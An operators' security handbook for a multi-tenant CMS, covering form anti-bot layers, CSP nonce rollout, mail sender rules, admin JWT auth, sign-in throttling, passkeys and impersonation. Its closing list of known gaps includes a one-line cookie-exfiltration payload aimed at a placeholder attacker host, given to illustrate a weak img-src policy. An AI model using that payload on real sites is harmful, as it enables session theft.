Operators handbook — security
The cross-cutting policies operators should know about: form protection, the browser-side content policy, mail-from refusal, canonical-host redirects, and admin authentication (JWT, the sign-in throttle, passkeys).
Form-protection stack
Six layers, all always-on, always in this order. There is no admin toggle for any of them — the protection is at the platform level, not per-tenant. Layers 1–5 stop bots and forged posts; layer 6 (spam scoring) filters human-submitted junk. Designer-side reference: ../forms.md.
1. Rate limit
Two buckets, both must pass; either trips → fail-closed with "Too many submissions. Please wait a few minutes and try again." flashed back as a form-level error.
| Bucket | Key | Limit |
|---|---|---|
cms_form_ip |
client IP | 10 / 5 minutes |
cms_form_per_form |
<websiteCode>:<formId> |
30 / 5 minutes |
A third bucket, cms_form_schema (client IP, 30 / 5 minutes), limits
the endpoint that hands a visitor their own form schema on a cached page
(below). Over it nothing is refused; the visitor goes through the
confirm step instead.
The IP key falls back to 0.0.0.0 when the proxy stripped the address —
that would otherwise sweep all anonymous traffic into one bucket. If
you see legitimate users hitting the IP bucket, check that
TRUSTED_PROXIES is configured in cms-public's environment.
Storage backs onto cache.rate_limiter. In dev that's filesystem
(per-pod-local — fine for development); in prod it's Redis (cluster-wide
enforcement across cms-public replicas).
2. Signed schema (HMAC + form-set integrity)
Every form_end() emits an _schema hidden field carrying the form's
declared field list, the form id, the website's code and a unix
issued_at timestamp, all base64url-encoded JSON and HMAC-SHA256
signed with the kernel secret (APP_SECRET).
Pages with a form are cached like any other page, so the schema in the
page is a shared one: no nonce, nothing per visitor, and never
delivered on. The form module trades it for a per-visitor schema
(its own nonce, good for one accepted message, and its own issued_at)
at POST /_cms/form/{websiteCode}/{formId}/schema when the visitor
starts on the form. A post that still carries the shared schema (no
JavaScript) is validated and sent back to be confirmed on a page
rendered for that visitor alone, which carries a per-visitor schema.
Full write-up: Forms on cached pages.
The submit controller decodes + verifies. Tampering with any part — adding a field, changing the form id, stripping a required marker — breaks the HMAC and the submission is rejected with "This form has expired. Please reload the page and try again."
This also enforces field-set integrity: only fields the schema declares
are walked; anything extra in the POST is silently dropped. A bot that
adds an unexpected password field gets nowhere.
3. Time-gate (3 seconds)
The signed issued_at of the visitor's own schema lets the controller
measure time since the visitor got the form (on a cached page: since
the form module fetched their schema). The shared schema in a cached
page never counts. Submissions arriving in fewer than 3 seconds are
treated as bots:
silently redirected to "success" (no signal to the bot), logged at
WARNING level for observability.
3 seconds is the floor — even a one-line contact form takes a real human longer. If you see legitimate users tripping this, file a bug; in over a year of design-team testing nobody hit it.
4. CSRF
One stateless Symfony CSRF token id, cms_form, for every form: the
token in the page is a constant and the check is by origin
(Sec-Fetch-Site, Origin or Referer), so rendering a form starts no
session and the page can be cached. Failure: "Security token
mismatch. Please check your details and send it again."
5. Honeypot
form_protection() emits an invisible _hp input
(position: absolute; left: -9999px; aria-hidden). Bots fill every
field they see; humans don't. A non-empty _hp is silently treated
as success (again, no signal to the bot).
6. Spam scoring (content heuristic)
Layers 1–5 stop automated and forged submissions. The sixth catches the human-submitted junk that clears them — the SEO pitch, the casino link, the Cyrillic wall — by scoring the content of the validated fields. Signals (each weighted): links / bare domains, link markup, predominantly non-Latin script, known spam keywords, and being a duplicate of a submission to the same form within the last hour. A total of 5 or more is treated as spam.
What an operator needs to know:
- A spam-scored submission is quarantined, not delivered: it lands
in the website's submission log with status
quarantined, the score, and the reasons — no email is sent, and the sender still sees the success page (so a false positive never tips off a real spammer). - The threshold, weights, and keyword list are fixed in cms-core. There is no per-website spam setting — nothing to configure on the Forms tab.
- The submission log (
form_submission_log, per website) records every submission that reaches scoring, with statussent/failed/quarantined/spam, and is retained indefinitely. It's where an operator reviews held submissions and releases or rejects them.
What got dropped
Cloudflare Turnstile used to be an opt-in protection on per-form config. Removed — the rate-limit + time-gate combo is collectively stronger for the contact-form threat model and removes a third-party dependency. If you find Turnstile keys still set on a website (legacy data), they're now ignored.
Content-Security-Policy
A CSP tells the browser which sources a page is allowed to load and execute. It is the last line rather than the first: it does not stop content from being injected, it stops injected content from doing anything. Everything below is per-deployment, not per-tenant, so all sites behind one cluster share it.
Where it comes from
The enforced policy is one nginx variable in cms-k8s,
configs/nginx.conf, built from named vendor groups so a directive
reads as a list of who, not a wall of hostnames. Adding a third-party
widget to a site means adding its origin to the relevant group there,
which is a cluster deploy, not a tenant setting.
Do not add a second Content-Security-Policy header anywhere else.
Browsers apply every CSP header they receive as an intersection: a
second header can only narrow the first, never widen it. Two headers
that each look correct in isolation combine into something neither
author intended, and the symptom is a blocked resource with no obvious
owner.
The nonce
Every <script> tag cms-public renders carries a nonce="…", a
random per-request value that also appears in the policy. The point of
a nonce is that an injected script cannot guess it, so a policy built
on nonces blocks XSS payloads even when they are inline, which a list
of allowed hostnames does not.
The stamping is automatic. A Twig node visitor in cms-core rewrites
every <script written in template source at compile time, so themes
need no change and cannot forget. Two consequences worth knowing:
- A tag the theme builds out of a variable is not stamped, on purpose. That is the shape an injected script arrives in, and it should fail.
- A
<script>stored in page content is likewise never nonced. If a tenant needs a third-party snippet, it belongs in the theme, where it is code and gets reviewed.
Rollout status
script-src still carries 'unsafe-inline', which means the policy
does not yet block inline scripts. The nonce is being measured first,
because of how browsers handle the two together: when a nonce is
present in an enforced script-src, 'unsafe-inline' is ignored by
design. There is no gradual switch. The moment the nonce joins the
enforced policy, every script that was missed stops running.
So the strict policy ships alongside as
Content-Security-Policy-Report-Only, which evaluates and reports but
never blocks. Turn it on per deployment:
CMS_CSP_REPORT_ONLY=1
Violations POST to /_csp/report and land on the csp monolog
channel, rate-limited per IP. Read them in Grafana:
{namespace="cms", app="cms-public", container="cms-public"} |= "\"channel\":\"csp\"" | json
or straight off the cluster:
kubectl --context <ctx> -n cms logs -l app=cms-public -c cms-public --since=24h \
| grep '"channel":"csp"'
When that channel is quiet, the strict script-src can move into the
enforced header. Until then it is instrumentation, not protection.
'unsafe-eval' is already gone: nothing served uses eval,
new Function or string setTimeout. Note that a GTM container's
Custom JavaScript variables are compiled with new Function, so a
tenant who adds one will find it silently dead.
Two rules that are easy to get wrong
Never send a nonce on a 304. A revalidating browser keeps the body from its first visit, nonce and all, and a 304 answers with headers only, which per RFC 9111 update the stored response. A fresh nonce therefore lands on an old body and blocks every script in it. Under report-only that is a burst of reports; under enforcement it is a dead page for exactly the visitors who come back most. The app takes its policy headers off every 304 it sends, including the ones the page cache answers from a stored copy, whose nonce is that copy's render and not necessarily the one the browser kept.
A nonce is only as private as the cache in front of it. Public
pages send s-maxage, so putting a CDN in front would serve one
rendered body, and its one nonce, to every visitor for the cache
lifetime. At that point the nonce is a value an attacker can simply
fetch. Either those pages go no-store or the nonce is injected at the
edge. There is no shared cache in front today.
Who may frame a public page
frame-ancestors allows the site itself plus whatever
CMS_ADMIN_ORIGINS names (CSV of full origins, e.g.
https://admin.example.com). It exists for the admin's inline editor,
which loads public pages in an iframe.
Set it only on deployments where the editor actually runs. Unset, the
app sends no frame-ancestors of its own and the edge policy stands.
It used to be a hardcoded list of every environment's admin host, which
meant any visitor to any tenant site could read the hostnames of admin
panels they had nothing to do with.
Remember the intersection rule: if the edge policy says
frame-ancestors 'self', naming an admin origin here will not
unblock the iframe. The edge policy has to name it too.
Mail-from refusal model
The CMS will not silently relay mail under a generic platform- wide address. Every outbound mail must resolve to a per-tenant From: address. Otherwise, the mail is not sent and the failure is logged.
Why so strict? Sending under a generic relay address mis-attributes mail for SPF / DKIM / reputation purposes. A tenant's domain reputation should be theirs, and a misconfigured tenant should fail loudly (their forms 422 with a clear error) rather than appear to work and silently trash the relay's IP reputation.
The resolution chain
Each mailer walks per-channel override → website default → null. "null" means refuse + log.
| Channel | Override location | Refusal behaviour |
|---|---|---|
| Form submits | Per-form row's from_email/from_name field |
User-visible error: "This form is misconfigured (no sender address)." |
| Customer auth | CustomerSettings.mailFromEmail / mailFromName |
Mail is silently dropped (registration / reset still succeeds). Logged ERROR. |
| Order receipts | CheckoutSettings.mailFromEmail / mailFromName |
Mail is silently dropped (order still succeeds). Logged ERROR. |
Display name falls back further: per-channel name → website default name → website's display name.
What operators set
- Required: General tab → Mail sender — default email + name.
- Optional per channel:
- Forms tab → per-form Sender email override + Sender name override.
- Module settings → Checkout → Order mail sender.
- Module settings → Customer → Customer mail sender.
Leave the per-channel fields blank to inherit the default. Setting
just one of email / name is fine — the other inherits.
What operators do NOT set
- The SMTP relay (
MAILER_DSN). Configured per-environment by ops. - SPF / DKIM / DMARC records for the tenant's domain. That's registrar / DNS work; the admin only stores the From: address.
Onboarding checklist for a new tenant
- Set the General → Mail sender default.
- Have ops authorise the relay's sending IP in your DNS:
- SPF: include the relay (e.g.
include:_spf.<relay>). - DKIM: publish the relay-provided public key in TXT records.
- DMARC: at minimum
v=DMARC1; p=none; rua=mailto:postmaster@example.nlso you can monitor before tightening.
- SPF: include the relay (e.g.
- Send a test form submission, check that it arrives + that the recipient's mail client doesn't flag it as spam / spoofed.
- Configure per-channel overrides only if you want the channel to send
from a different address (e.g.
orders@…for receipts vs.info@…for everything else).
Canonical host redirects
Each website can have multiple hostnames in the Hosts tab. Mark exactly one as canonical. Visitors hitting any non-canonical host get a 301 to the canonical's equivalent path.
The redirect happens in PHP (cms-public's WebsiteRequestListener),
not at the ingress — that means adding a host in the admin works
immediately, no kdef changes. Trade-off: every non-canonical request
boots PHP just to issue a redirect. Almost everyone lands on the
canonical via Google after a week, so the cost is small.
If no host is marked canonical, no redirect happens. Useful during
onboarding (you're testing across multiple domains and don't want
auto-redirect) but leave one canonical for production — search
engines treat www.example.nl and example.nl as separate sites
otherwise, splitting your link equity.
Cluster probes: anything inside the cluster that hits the
cms-public-svcservice with a non-tenant Host header gets the standard "No website configured for host" 404 — same as before, no redirect logic involved. Probes that hit a tenant hostname (e.g.Host: foo.nl) and a/_*path (Symfony profiler / probe conventions) bypass the website-resolution logic entirely.
URLs the server fetches for an editor
A product CSV import downloads the image URLs an editor put in the file, from inside the cluster. Those requests only go to public addresses: loopback, private networks, link-local (the cloud metadata address), carrier-grade NAT, multicast and reserved ranges are refused, checked again on every redirect and pinned to the address that was checked. See Catalog → images in a product CSV import.
JWT auth (admin SPA only)
cms-api is stateless. The SPA holds two tokens in localStorage:
| Key | Lifetime | What it does |
|---|---|---|
cms-admin.access |
15 minutes | Sent as Authorization: Bearer … per call. |
cms-admin.refresh |
14 days | Used silently to mint a new access token. |
On a 401, the api wrapper calls me.refresh() and retries once. Two
failed refreshes → tokens cleared, redirect to /login. Logging out is
client-side only (clear localStorage) — there's no server-side session
to revoke. If a token leaks, rotating JWT_PASSPHRASE in cms-api
invalidates every outstanding token globally.
Admin sign-in throttle
Email + password sign-in (POST /admin/login) is rate limited, so a
script cannot try passwords against an admin account as fast as the
server can check them. Two limits, both counted before the password is
checked:
| Counted per | Allowance | Stops |
|---|---|---|
| email + client address | 5 attempts, then 1 per 3 minutes | guessing one admin's password |
| client address | 20 attempts, then 1 per minute | one client trying many accounts |
- A correct password gives the email its five attempts back, so in practice only failed attempts add up there. It does not reset the per-address count: someone with one valid account of their own cannot use it to clear the way for guesses at other accounts.
- Case and surrounding spaces do not make another email:
Admin@x.nlcounts againstadmin@x.nl, as the login itself treats them as one account. An IPv6 client is counted per /64, which is what one subscriber is usually given. - Past the limit the answer is a 429 with a
Retry-Afterheader and the wait in the body. The admin sees "Too many sign-in attempts. Try again in N minutes." in their own language. The password is not checked at all for a refused attempt. - A locked-out admin waits the minutes shown, signs in from another
network, or uses a passkey: passkey sign-in has no such limit (a
passkey signature cannot be guessed), and neither does the token
refresh (a signed token). To clear every counter at once, run
bin/console cache:pool:clear cache.rate_limiterin a cms-api pod.
The counters live in the cluster Redis (cache.rate_limiter, on
REDIS_URL), shared by every cms-api pod, and each update takes a
Redis lock so a burst of parallel requests cannot all read the same
count. If Redis is unreachable, sign-in goes on without the limit and
cms-api logs an error ("Admin sign-in throttle unavailable"): locking
every admin out for the length of a Redis outage would be worse.
In front of cms-api, neither the haproxy ingress nor the nginx sidecars have a rate limit of their own. CrowdSec on the cluster reads the ingress log and bans an address at the host firewall after a fast run of failed POSTs (its generic 401 brute-force scenario: more than five in quick succession). That catches one address spraying many accounts, but not slow guessing, and it does not count this throttle's 429s, so the throttle is what bounds guessing at a single account.
Passkeys (WebAuthn admin login)
Admins can log in with a passkey (a hardware key, a fingerprint / Face ID, or a synced credential from a password manager) as an alternative to email + password. Both routes end in the same JWT token pair as a password login — a passkey is an additional way in, not a separate session model and not a second factor.
- Each admin keeps their password. A passkey doesn't replace it; it sits alongside as a phishing-resistant option. If a passkey is lost, password login still works — so there's no lockout-by-passkey and no separate recovery flow to manage.
- Enrolment is self-service, in the admin's own account/security settings: the browser prompts to create a passkey, the admin gives it a label ("MacBook Touch ID", "YubiKey"), and it's saved. An admin can enrol several and remove any of them; each tracks its created and last-used dates.
- Login is discoverable — the admin clicks "Sign in with a passkey" and the browser offers whatever resident keys it holds; no email is typed first.
Under the hood, an enrolled passkey is an admin_credential row
(credential id, public key, signature counter, transports, label); each
sign-in step is gated by a short-lived webauthn_challenge (5-minute
TTL, single-use). The signature counter rejects cloned authenticators.
Scope / backups: admin credentials are global (tied to admin users, not to any one website), so they are excluded from per-website backups — restoring a tenant's content never touches anyone's passkeys. Deleting an admin user cascade-deletes their passkeys.
Impersonation ("viewing as …")
A super admin can act as another user, to reproduce what that person sees without asking for their password. The SPA shows a banner naming who you are viewing as, with an exit.
What it is, precisely: a normal token pair for the target user, tagged with the super's id. There is no server-side session being switched, because there are no sessions. So while impersonating you are that user, with exactly their roles and their website memberships, and nothing you do is more privileged than they are. Leaving mints a fresh pair back as yourself.
Two things are refused, both with a 422:
- Impersonating yourself. Pointless.
- Impersonating another super admin. A super already reaches everything, so the only thing this would add is a super acting as another super with no way to tell them apart afterwards.
Both the start and the end are written to the audit log, with the super's id and email and the target's. That is the compensating control for a feature whose entire purpose is acting as someone else, and it is also the reason the second refusal above exists.
The tag survives a token refresh, so a long session keeps the banner rather than quietly becoming an untagged login as the target user.
Theme codes and theme versions
A website's theme is a code (svbeautique), and deployed theme versions
are stored per code, not per website: two websites with the same code
share every version, and a version removed for one is gone for both.
- Only a super admin sets a website's theme code and theme repository. Other admins see both read-only on the website's Theme tab, and the API ignores a value they send (the rest of the form still saves). Choosing a code decides which websites share their versions, and the deploy worker takes a code's repository from a website that carries the code, so both fields reach past the website they are on.
- A theme code is one plain name: lowercase letters, digits, dashes and underscores, at most 64 characters. Anything else is refused on save, for super admins too.
- Deploying, removing or skipping a version of a theme is allowed only when every website using that theme code is one you hold. Listing a theme's versions and activating one needs just one of them: your own website. A theme code that is also used by a website you do not hold is refused (403) for those three actions, and only a super admin can do them. A theme code none of your websites use answers 404, the same as a code that does not exist, so it does not reveal another tenant's theme.
- Automated deploys (CI posting a tag to
/api/admin/themes/<code>/versions) need an account that is a super admin or holds every website using that theme code. - A theme repository on another git host is read over HTTPS only, with the website's repository token if it has one. Redirects are not followed and the token is dropped whenever the repository changes, so it only ever goes to the host it was entered for. The token is sent in a header, never in the URL, so it does not show up in deploy errors.
Stored credentials are encrypted
The credentials a website stores are encrypted in the database and in every backup: the payment providers' keys (Mollie, Stripe), the bol.com client secret, the vehicle lookup provider tokens, the Meta Conversions API token and the theme repository access token. Someone with the database or a backup bundle reads ciphertext.
The key is CMS_SECRET_KEY in the cms-secret sealed secret, the same
for cms-api, cms-public and cms-worker. A key is encrypted the moment it
is saved; nothing needs doing per key.
- Lose the key and every stored credential has to be entered again. Keep a copy in the password manager.
- A value stored before the key existed, or restored from an older
backup, still works unencrypted.
bin/console cms:secrets:encrypt(in a cms-api pod,--dry-runfirst) encrypts whatever is not yet encrypted with the current key. Run it after restoring an old backup. - Changing the key: put the new key in
CMS_SECRET_KEYand the old one inCMS_SECRET_KEY_PREVIOUS, restart the pods, runcms:secrets:encrypt, then remove the previous key. Keep the old key as long as a backup encrypted with it may need restoring. - Not
APP_SECRET: rotating that (after a leak, say) must stay cheap, and would otherwise make every stored credential unreadable.
What's NOT enforced (yet)
- Audit log of admin actions. There's no per-action history page.
Database-level changes are timestamped (
created_at/updated_aton most entities) but there's no "who changed what" trail. - Email retention / log. Outbound mail isn't archived. If a mail fails to send, it's gone — only the WARNING/ERROR log line remains. Open feature ask.
- 2FA (beyond passkeys). Passkeys cover phishing-resistant login; TOTP / SMS aren't wired.
- IP allowlisting for the admin. Anyone with valid creds can log in from anywhere.
- Inline scripts are still allowed.
script-srccarries'unsafe-inline', so the vendor allowlist above it only constrains external<script src>tags, which is not the shape an XSS payload takes. The nonce that replaces it is deployed and measuring; see Content-Security-Policy → rollout status. img-srcishttps:, i.e. any HTTPS host. That is an exfiltration channel around the tightconnect-src(new Image().src = 'https://attacker/?' + document.cookie). The report-only policy is collecting the real image hosts so it can be narrowed.